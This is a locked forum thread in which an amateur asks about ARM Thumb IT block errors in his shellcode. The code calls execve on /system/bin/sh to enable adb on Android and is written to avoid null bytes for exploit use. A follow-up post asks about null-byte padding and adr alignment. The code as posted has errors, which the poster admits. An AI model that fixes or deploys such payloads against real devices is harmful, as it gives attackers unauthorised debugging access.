This discussion has been locked.
You can no longer post new replies to this discussion. If you have a question you can start a new discussion

Help with IT block in Thumb state

Hi all. I'll begin by saying I'm an amateur in assembly language and I've been learning much of it as I go. I'm used to high level languages like Java, so this is a marked difference. I'm trying to write a small assembly program that will essentially execute a shell command to enable adb. The intended use of this programprogram, or rather, shellcode, is to be do exploit testing for myselfmyself, so, I've intentionally written it in such a way that is least likely to produce null bytes in the output. Code below.

Shellcode:

.section .text
.global _start

/*
Reference of registers:
R0 = adr_shell
R1 = adr_argv
R2 = adr_env
R3 = NULL
R4 = 'X'
R6 = our argument to replace_X
R7 = system call register
*/

_start:
.code 32
@ Stage up for going into THUMB mode
add r3, pc, #1
bx r3

.code 16
@ Set the registers to reference our ascii arguments
ldr r0, =adr_shell
ldr r1, =adr_argv
ldr r2, =adr_env

@ Set our null register and our 'X'
eor r3, r3, r3 @ R3 = NULL
ldr r4, ='X'

@ Replace 'X' in adr_shell with null byte
mov r6, r0 @ Set up our replace_X argument
bl replace_X

@ Replace 'X' in adr_argv with null byte
mov r6, r1 @ Set up our replace_X argument
bl replace_X

@ Replace 'X' in adr_env with null byte
mov r6, r2 @ Set up our replace_X argument
bl replace_X

@ Do system call w/ execve call number
mov r7, #11 @ execve(shell, argv, env)
svc #1 @ system call

adr_shell: .ascii "/system/bin/shX"
adr_argv: .ascii "setprop persist.sys.usb.config adbX"
adr_env: .ascii "PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbinX"

@ Look for 'X' in R6 and replace it with R3
replace_X:
cmp r4, #[r6]
@ If condition above sets Not Equal flag in CSPR, Then R6++ and loop
itt ne
addne r6, #1
bne replace_x

strb r3, [r6]
b lr

The error I get with the GNU assembler is:

shellcode.s: Assembler messages:
shellcode.s:56: Error: Thumb does not support conditional execution
shellcode.s:57: Error: branch must be last instruction in IT block -- `bne replace_x'
shellcode.s:59: Error: instruction not allowed in IT block -- `strb r3,[r6]'

But why?? I thought an IT block was specifically for Thumb state? Can anyone clarify to me what I'm doing wrong here?

Parents
  • Okay, so I did manage to figure out the issue with why my IT block was not working. It had to do with misuse of the cmp instruction and a typo in the branch instruction. I typed 'replace_x' rather than 'replace_X'. That said, I am now experiencing an unrelated problem. Part of the goal of this mini program is be assembled with no null bytes anywhere inside of it; so no 0x00. I happened to notice that using the ldr instruction with labels for PC relative addressing made the assembler insert the addresses of the labels to be read at the very bottom of the program. The problem with is is that they're null byte padded so as to keep them word-aligned. I do not want this. Instead, I opted to use the adr instruction. This, however, makes the assembler complain that the addresses being loaded are not word aligned. Forcing the assembler to produce an output and then disassembling it with objdump shows that the assembler *still* automatically adjusted the value to be word-aligned, making the instruction moot because the register is no longer pointing to what I wanted it to. My question now is this: why exactly does any athematic involving the pc register require the result to be word aligned, with the exception of setting the least significant bit to 1 (I.e. add 1)?

Reply
  • Okay, so I did manage to figure out the issue with why my IT block was not working. It had to do with misuse of the cmp instruction and a typo in the branch instruction. I typed 'replace_x' rather than 'replace_X'. That said, I am now experiencing an unrelated problem. Part of the goal of this mini program is be assembled with no null bytes anywhere inside of it; so no 0x00. I happened to notice that using the ldr instruction with labels for PC relative addressing made the assembler insert the addresses of the labels to be read at the very bottom of the program. The problem with is is that they're null byte padded so as to keep them word-aligned. I do not want this. Instead, I opted to use the adr instruction. This, however, makes the assembler complain that the addresses being loaded are not word aligned. Forcing the assembler to produce an output and then disassembling it with objdump shows that the assembler *still* automatically adjusted the value to be word-aligned, making the instruction moot because the register is no longer pointing to what I wanted it to. My question now is this: why exactly does any athematic involving the pc register require the result to be word aligned, with the exception of setting the least significant bit to 1 (I.e. add 1)?

Children